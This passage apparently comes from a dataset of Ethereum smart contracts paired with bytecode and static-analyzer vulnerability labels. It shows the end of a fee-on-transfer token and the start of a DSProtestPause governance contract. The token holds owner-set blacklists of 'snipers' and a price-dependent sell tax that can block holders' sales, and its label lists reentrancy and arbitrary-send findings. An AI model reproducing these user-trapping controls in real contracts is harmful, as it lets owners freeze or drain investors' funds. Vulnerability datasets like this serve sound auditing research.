uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; noJeetMode = true; _startingPrice = getPrice(); endTime = block.timestamp + 30 days; } function getPrice() public view returns (uint256){ address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uint256 amount = 10 ** _decimals; uint256 tokenPrice = uniswapV2Router.getAmountsOut(amount, path)[1]; return tokenPrice; } function setNoJeetMode(bool onoff) external onlyOwner{ noJeetMode = onoff; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e7 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } }
0x60806040526004361061023f5760003560e01c806370a082311161012e5780638f9a55c0116100ab578063c55284901161006f578063c552849014610669578063dd62ed3e14610689578063ea1644d5146106cf578063f09fc1cb146106ef578063f2fde38b1461070f57600080fd5b80638f9a55c0146105fe57806395d89b411461024b57806398d5fdca146106145780639f13157114610629578063a9059cbb1461064957600080fd5b80638203f5fe116100f25780638203f5fe1461057557806384c9856c1461058a578063881dce60146105a05780638da5cb5b146105c05780638f70ccf7146105de57600080fd5b806370a08231146104f4578063715018a61461051457806374010ece14610529578063790ca413146105495780637d1db4a51461055f57600080fd5b8063313ce567116101bc5780634bf2c7c9116101805780634bf2c7c9146104695780635d098b38146104895780636b9cf534146104a95780636d8aa8f8146104bf5780636fc3eaec146104df57600080fd5b8063313ce567146103d75780633197cbb6146103f357806333251a0b1461040957806338eea22d1461042957806349bd5a5e1461044957600080fd5b80631cd5c9d8116102035780631cd5c9d81461035357806323b872dd1461036957806327c8f8351461038957806328bb665a1461039f5780632fd689e3146103c157600080fd5b806306fdde031461024b578063095ea7b31461028d5780630f3a325f146102bd5780631694505e146102f657806318160ddd1461032e57600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50604080518082018252600a8152694e4f4a45455453494e5560b01b6020820152905161028491906124a7565b60405180910390f35b34801561029957600080fd5b506102ad6102a83660046122a8565b61072f565b6040519015158152602001610284565b3480156102c957600080fd5b506102ad6102d83660046121f4565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561030257600080fd5b50601754610316906001600160a01b031681565b6040516001600160a01b039091168152602001610284565b34801561033a57600080fd5b50678ac7230489e800005b604051908152602001610284565b34801561035f57600080fd5b5061034560195481565b34801561037557600080fd5b506102ad610384366004612267565b610746565b34801561039557600080fd5b5061031661dead81565b3480156103ab57600080fd5b506103bf6103ba3660046122d4565b6107af565b005b3480156103cd57600080fd5b50610345601c5481565b3480156103e357600080fd5b5060405160098152602001610284565b3480156103ff57600080fd5b50610345600b5481565b34801561041557600080fd5b506103bf6104243660046121f4565b61084e565b34801561043557600080fd5b506103bf610444366004612441565b6108bd565b34801561045557600080fd5b50601854610316906001600160a01b031681565b34801561047557600080fd5b506103bf610484366004612428565b61090e565b34801561049557600080fd5b506103bf6104a43660046121f4565b61094b565b3480156104b557600080fd5b50610345601d5481565b3480156104cb57600080fd5b506103bf6104da366004612406565b6109a5565b3480156104eb57600080fd5b506103bf6109ed565b34801561050057600080fd5b5061034561050f3660046121f4565b610a17565b34801561052057600080fd5b506103bf610a39565b34801561053557600080fd5b506103bf610544366004612428565b610aad565b34801561055557600080fd5b50610345600a5481565b34801561056b57600080fd5b50610345601a5481565b34801561058157600080fd5b506103bf610b50565b34801561059657600080fd5b50610345601e5481565b3480156105ac57600080fd5b506103bf6105bb366004612428565b610d35565b3480156105cc57600080fd5b506000546001600160a01b0316610316565b3480156105ea57600080fd5b506103bf6105f9366004612406565b610db1565b34801561060a57600080fd5b50610345601b5481565b34801561062057600080fd5b50610345610e27565b34801561063557600080fd5b506103bf610644366004612406565b610fd6565b34801561065557600080fd5b506102ad6106643660046122a8565b61101e565b34801561067557600080fd5b506103bf610684366004612441565b61102b565b34801561069557600080fd5b506103456106a436600461222e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106db57600080fd5b506103bf6106ea366004612428565b61107c565b3480156106fb57600080fd5b506103bf61070a366004612406565b6110ba565b34801561071b57600080fd5b506103bf61072a3660046121f4565b611102565b600061073c3384846111ec565b5060015b92915050565b6000610753848484611310565b6107a584336107a0856040518060600160405280602881526020016127db602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611a99565b6111ec565b5060019392505050565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016107d9906124fc565b60405180910390fd5b60005b815181101561084a5760016009600084848151811061080657610806612799565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061084281612768565b9150506107e5565b5050565b6000546001600160a01b031633146108785760405162461bcd60e51b81526004016107d9906124fc565b6001600160a01b03811660009081526009602052604090205460ff16156108ba576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016107d9906124fc565b60018211156108f557600080fd5b600181111561090357600080fd5b600c91909155600e55565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016107d9906124fc565b600181111561094657600080fd5b601255565b6016546001600160a01b0316336001600160a01b03161461096b57600080fd5b601680546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016107d9906124fc565b60188054911515600160b01b0260ff60b01b19909216919091179055565b6016546001600160a01b0316336001600160a01b031614610a0d57600080fd5b476108ba81611ad3565b6001600160a01b03811660009081526002602052604081205461074090611b0d565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016107d9906124fc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ad75760405162461bcd60e51b81526004016107d9906124fc565b66b1a2bc2ec50000811015610b4b5760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107d9565b601a55565b6000546001600160a01b03163314610b7a5760405162461bcd60e51b81526004016107d9906124fc565b601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610bda57600080fd5b505afa158015610bee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c129190612211565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5a57600080fd5b505afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c929190612211565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610cda57600080fd5b505af1158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d129190612211565b601880546001600160a01b0319166001600160a01b039290921691909117905550565b6016546001600160a01b0316336001600160a01b031614610d5557600080fd5b610d5e30610a17565b8111158015610d6d5750600081115b610da85760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d9565b6108ba81611b91565b6000546001600160a01b03163314610ddb5760405162461bcd60e51b81526004016107d9906124fc565b6018805442600a5560ff60c01b19831515600160a01b021664ff000000ff60a01b1990911617600160c01b179055610e11610e27565b601955610e214262278d0061260a565b600b5550565b604080516002808252606082018352600092839291906020830190803683370190505090503081600081518110610e6057610e60612799565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eb457600080fd5b505afa158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec9190612211565b81600181518110610eff57610eff612799565b6001600160a01b03909216602092830291909101909101526000610f256009600a612687565b60175460405163d06ca61f60e01b81529192506000916001600160a01b039091169063d06ca61f90610f5d9085908790600401612558565b60006040518083038186803b158015610f7557600080fd5b505afa158015610f89573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610fb1919081019061237a565b600181518110610fc357610fc3612799565b6020026020010151905080935050505090565b6000546001600160a01b031633146110005760405162461bcd60e51b81526004016107d9906124fc565b60188054911515600160b81b0260ff60b81b19909216919091179055565b600061073c338484611310565b6000546001600160a01b031633146110555760405162461bcd60e51b81526004016107d9906124fc565b600d82111561106357600080fd5b600d81111561107157600080fd5b600d91909155600f55565b6000546001600160a01b031633146110a65760405162461bcd60e51b81526004016107d9906124fc565b601b548110156110b557600080fd5b601b55565b6000546001600160a01b031633146110e45760405162461bcd60e51b81526004016107d9906124fc565b60188054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b0316331461112c5760405162461bcd60e51b81526004016107d9906124fc565b6001600160a01b0381166111915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661124e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d9565b6001600160a01b0382166112af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d9565b6001600160a01b0382166113d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d9565b600081116114385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d9565b6001600160a01b03821660009081526009602052604090205460ff16156114715760405162461bcd60e51b81526004016107d990612531565b6001600160a01b03831660009081526009602052604090205460ff16156114aa5760405162461bcd60e51b81526004016107d990612531565b3360009081526009602052604090205460ff16156114da5760405162461bcd60e51b81526004016107d990612531565b6000546001600160a01b0384811691161480159061150657506000546001600160a01b03838116911614155b1561187f57601854600160a01b900460ff166115645760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d9565b6018546001600160a01b03838116911614801561158f57506017546001600160a01b03848116911614155b15611641576001600160a01b03821630148015906115b657506001600160a01b0383163014155b80156115d057506016546001600160a01b03838116911614155b80156115ea57506016546001600160a01b03848116911614155b1561164157601a548111156116415760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d9565b6018546001600160a01b0383811691161480159061166d57506016546001600160a01b03838116911614155b801561168257506001600160a01b0382163014155b801561169957506001600160a01b03821661dead14155b1561177957601b54816116ab84610a17565b6116b5919061260a565b1061170e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107d9565b601854600160b81b900460ff161561177957600a5461172f906104b061260a565b421161177957601d548111156117795760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107d9565b600061178430610a17565b601c5490915081118080156117a35750601854600160a81b900460ff16155b80156117bd57506018546001600160a01b03868116911614155b80156117d25750601854600160b01b900460ff165b80156117f757506001600160a01b03851660009081526006602052604090205460ff16155b801561181c57506001600160a01b03841660009081526006602052604090205460ff16155b1561187c57601254600090156118575761184c606461184660125486611d1a90919063ffffffff16565b90611d99565b905061185781611ddb565b6118696118648285612751565b611b91565b4780156118795761187947611ad3565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806118c157506001600160a01b03831660009081526006602052604090205460ff165b806118f357506018546001600160a01b038581169116148015906118f357506018546001600160a01b03848116911614155b1561190057506000611a87565b6018546001600160a01b03858116911614801561192b57506017546001600160a01b03848116911614155b15611986576001600160a01b03831660009081526004602052604090204290819055600c54601055600d54601155600a541415611986576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6018546001600160a01b0384811691161480156119b157506017546001600160a01b03858116911614155b15611a8757600e54601055600f54601155601854600160c01b900460ff1615611a87576019546119e2906064611d1a565b6119ea610e27565b1180611a045750600a54611a019062278d0061260a565b42115b15611a1b576018805460ff60c01b19169055611a87565b600060649050611a39611a32601954611846610e27565b8290611de8565b905060598110611a4857600080fd5b8060116000828254611a5a919061260a565b90915550611a6f905060646118468584611d1a565b601e6000828254611a80919061260a565b9091555050505b611a9384848484611e2a565b50505050565b60008184841115611abd5760405162461bcd60e51b81526004016107d991906124a7565b506000611aca8486612751565b95945050505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561084a573d6000803e3d6000fd5b6000600754821115611b745760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d9565b6000611b7e611e5e565b9050611b8a8382611d99565b9392505050565b6018805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611bd957611bd9612799565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611c2d57600080fd5b505afa158015611c41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c659190612211565b81600181518110611c7857611c78612799565b6001600160a01b039283166020918202929092010152601754611c9e91309116846111ec565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cd7908590600090869030904290600401612579565b600060405180830381600087803b158015611cf157600080fd5b505af1158015611d05573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600082611d2957506000610740565b6000611d358385612732565b905082611d428583612622565b14611b8a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d9565b6000611b8a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e81565b6108ba3061dead83611310565b6000611b8a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a99565b80611e3757611e37611eaf565b611e42848484611ef4565b80611a9357611a93601354601055601454601155601554601255565b6000806000611e6b611feb565b9092509050611e7a8282611d99565b9250505090565b60008183611ea25760405162461bcd60e51b81526004016107d991906124a7565b506000611aca8486612622565b601054158015611ebf5750601154155b8015611ecb5750601254155b15611ed257565b6010805460135560118054601455601280546015556000928390559082905555565b600080600080600080611f068761202b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f389087611de8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f679086612088565b6001600160a01b038916600090815260026020526040902055611f89816120e7565b611f938483612131565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fd891815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006120068282611d99565b82101561202257505060075492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006120488a601054601154612155565b9250925092506000612058611e5e565b9050600080600061206b8e8787876121a4565b919e509c509a509598509396509194505050505091939550919395565b600080612095838561260a565b905083811015611b8a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d9565b60006120f1611e5e565b905060006120ff8383611d1a565b3060009081526002602052604090205490915061211c9082612088565b30600090815260026020526040902055505050565b60075461213e9083611de8565b60075560085461214e9082612088565b6008555050565b600080808061216960646118468989611d1a565b9050600061217c60646118468a89611d1a565b905060006121948261218e8b86611de8565b90611de8565b9992985090965090945050505050565b60008080806121b38886611d1a565b905060006121c18887611d1a565b905060006121cf8888611d1a565b905060006121e18261218e8686611de8565b939b939a50919850919650505050505050565b60006020828403121561220657600080fd5b8135611b8a816127c5565b60006020828403121561222357600080fd5b8151611b8a816127c5565b6000806040838503121561224157600080fd5b823561224c816127c5565b9150602083013561225c816127c5565b809150509250929050565b60008060006060848603121561227c57600080fd5b8335612287816127c5565b92506020840135612297816127c5565b929592945050506040919091013590565b600080604083850312156122bb57600080fd5b82356122c6816127c5565b946020939093013593505050565b600060208083850312156122e757600080fd5b823567ffffffffffffffff8111156122fe57600080fd5b8301601f8101851361230f57600080fd5b803561232261231d826125e6565b6125b5565b80828252848201915084840188868560051b870101111561234257600080fd5b600094505b8385101561236e57803561235a816127c5565b835260019490940193918501918501612347565b50979650505050505050565b6000602080838503121561238d57600080fd5b825167ffffffffffffffff8111156123a457600080fd5b8301601f810185136123b557600080fd5b80516123c361231d826125e6565b80828252848201915084840188868560051b87010111156123e357600080fd5b600094505b8385101561236e5780518352600194909401939185019185016123e8565b60006020828403121561241857600080fd5b81358015158114611b8a57600080fd5b60006020828403121561243a57600080fd5b5035919050565b6000806040838503121561245457600080fd5b50508035926020909101359150565b600081518084526020808501945080840160005b8381101561249c5781516001600160a01b031687529582019590820190600101612477565b509495945050505050565b600060208083528351808285015260005b818110156124d4578581018301518582016040015282016124b8565b818111156124e6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b8281526040602082015260006125716040830184612463565b949350505050565b85815284602082015260a06040820152600061259860a0830186612463565b6001600160a01b0394909416606083015250608001529392505050565b604051601f8201601f1916810167ffffffffffffffff811182821017156125de576125de6127af565b604052919050565b600067ffffffffffffffff821115612600576126006127af565b5060051b60200190565b6000821982111561261d5761261d612783565b500190565b60008261263f57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561267f57816000190482111561266557612665612783565b8085161561267257918102915b93841c9390800290612649565b509250929050565b6000611b8a60ff8416836000826126a057506001610740565b816126ad57506000610740565b81600181146126c357600281146126cd576126e9565b6001915050610740565b60ff8411156126de576126de612783565b50506001821b610740565b5060208310610133831016604e8410600b841016171561270c575081810a610740565b6127168383612644565b806000190482111561272a5761272a612783565b029392505050565b600081600019048311821515161561274c5761274c612783565b500290565b60008282101561276357612763612783565b500390565b600060001982141561277c5761277c612783565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203705e38c58b0731ddeeb85a3f0d7a82207b12dc1134fb6a2b0d65e468a59e2a964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,862
0x2cde6a1147b0ee61726b86d83fd548401b1162c7
/** *Submitted for verification at Etherscan.io on 2021-02-14 */ /** *Submitted for verification at Etherscan.io on 2021-02-02 */ // Copyright (C) 2019 David Terry <[email protected]> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity >=0.6.7; interface DSAuthority { function canCall( address src, address dst, bytes4 sig ) external view returns (bool); } abstract contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) virtual public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) virtual public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); _; } function isAuthorized(address src, bytes4 sig) virtual internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSProtestPause is DSAuth { // --- Admin --- modifier isDelayed { require(msg.sender == address(proxy), "ds-protest-pause-undelayed-call"); _; } function setOwner(address owner_) override public isDelayed { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) override public isDelayed { authority = authority_; emit LogSetAuthority(address(authority)); } function setProtester(address protester_) external isDelayed { protester = protester_; emit SetProtester(address(protester)); } function setDelay(uint delay_) external isDelayed { require(delay_ <= MAX_DELAY, "ds-protest-pause-delay-not-within-bounds"); delay = delay_; emit SetDelay(delay_); } function setDelayMultiplier(uint multiplier_) external isDelayed { require(both(multiplier_ >= 1, multiplier_ <= MAX_DELAY_MULTIPLIER), "ds-protest-pause-multiplier-exceeds-bounds"); delayMultiplier = multiplier_; emit ChangeDelayMultiplier(multiplier_); } // --- Structs --- struct TransactionDelay { bool protested; uint scheduleTime; uint totalDelay; } // --- Data --- mapping (bytes32 => bool) public scheduledTransactions; mapping (bytes32 => TransactionDelay) internal transactionDelays; DSPauseProxy public proxy; address public protester; uint public delay; uint public delayMultiplier = 1; uint public currentlyScheduledTransactions; uint public deploymentTime; uint public protesterLifetime; uint256 constant public EXEC_TIME = 3 days; uint256 constant public MAX_DELAY = 28 days; uint256 constant public maxScheduledTransactions = 10; uint256 constant public protestEnd = 500; // a tx can be protested against if max 1/2 of the time until earliest execution has passed uint256 constant public MAX_DELAY_MULTIPLIER = 3; bytes32 constant public DS_PAUSE_TYPE = bytes32("PROTEST"); // --- Events --- event SetDelay(uint256 delay); event SetProtester(address protester); event ChangeDelayMultiplier(uint256 multiplier); event ScheduleTransaction(address sender, address usr, bytes32 codeHash, bytes parameters, uint earliestExecutionTime); event AbandonTransaction(address sender, address usr, bytes32 codeHash, bytes parameters, uint earliestExecutionTime); event ProtestAgainstTransaction(address sender, address usr, bytes32 codeHash, bytes parameters, uint totalDelay); event ExecuteTransaction(address sender, address usr, bytes32 codeHash, bytes parameters, uint earliestExecutionTime); event AttachTransactionDescription(address sender, address usr, bytes32 codeHash, bytes parameters, uint earliestExecutionTime, string description); // --- Init --- constructor(uint protesterLifetime_, uint delay_, address owner_, DSAuthority authority_) public { require(delay_ <= MAX_DELAY, "ds-protest-pause-delay-not-within-bounds"); delay = delay_; owner = owner_; authority = authority_; deploymentTime = now; protesterLifetime = protesterLifetime_; proxy = new DSPauseProxy(); } // --- Math --- function addition(uint x, uint y) internal pure returns (uint z) { z = x + y; require(z >= x, "ds-protest-pause-add-overflow"); } function subtract(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-protest-pause-sub-underflow"); } function multiply(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-protest-pause-mul-invalid"); } // --- Boolean Logic --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Util --- function getTransactionDataHash(address usr, bytes32 codeHash, bytes memory parameters, uint earliestExecutionTime) public pure returns (bytes32) { return keccak256(abi.encode(usr, codeHash, parameters, earliestExecutionTime)); } function getTransactionDataHash(address usr, bytes32 codeHash, bytes memory parameters) public pure returns (bytes32) { return keccak256(abi.encode(usr, codeHash, parameters)); } function getExtCodeHash(address usr) internal view returns (bytes32 codeHash) { assembly { codeHash := extcodehash(usr) } } function protestWindowAvailable(address usr, bytes32 codeHash, bytes calldata parameters) external view returns (bool) { bytes32 partiallyHashedTx = getTransactionDataHash(usr, codeHash, parameters); (bool protested, ,) = getTransactionDelays(partiallyHashedTx); if (protested) return false; return ( now < protestDeadline(partiallyHashedTx) ); } function protestWindowAvailable(bytes32 txHash) external view returns (bool) { (bool protested, ,) = getTransactionDelays(txHash); if (protested) return false; return ( now < protestDeadline(txHash) ); } function timeUntilProposalProtestDeadline(address usr, bytes32 codeHash, bytes calldata parameters) external view returns (uint256) { bytes32 partiallyHashedTx = getTransactionDataHash(usr, codeHash, parameters); (bool protested, ,) = getTransactionDelays(partiallyHashedTx); if (protested) return 0; uint protestDeadline = protestDeadline(partiallyHashedTx); if (now >= protestDeadline) return 0; return subtract(protestDeadline, now); } function timeUntilProposalProtestDeadline(bytes32 txHash) external view returns (uint256) { (bool protested, ,) = getTransactionDelays(txHash); if (protested) return 0; uint protestDeadline = protestDeadline(txHash); if (now >= protestDeadline) return 0; return subtract(protestDeadline, now); } function protestDeadline(bytes32 txHash) internal view returns (uint256) { return addition(transactionDelays[txHash].scheduleTime, (multiply(transactionDelays[txHash].totalDelay, protestEnd) / 1000)); } // --- Operations --- function scheduleTransaction(address usr, bytes32 codeHash, bytes calldata parameters, uint earliestExecutionTime) external auth { schedule(usr, codeHash, parameters, earliestExecutionTime); } function scheduleTransaction(address usr, bytes32 codeHash, bytes calldata parameters, uint earliestExecutionTime, string calldata description) external auth { schedule(usr, codeHash, parameters, earliestExecutionTime); emit AttachTransactionDescription(msg.sender, usr, codeHash, parameters, earliestExecutionTime, description); } function attachTransactionDescription(address usr, bytes32 codeHash, bytes memory parameters, 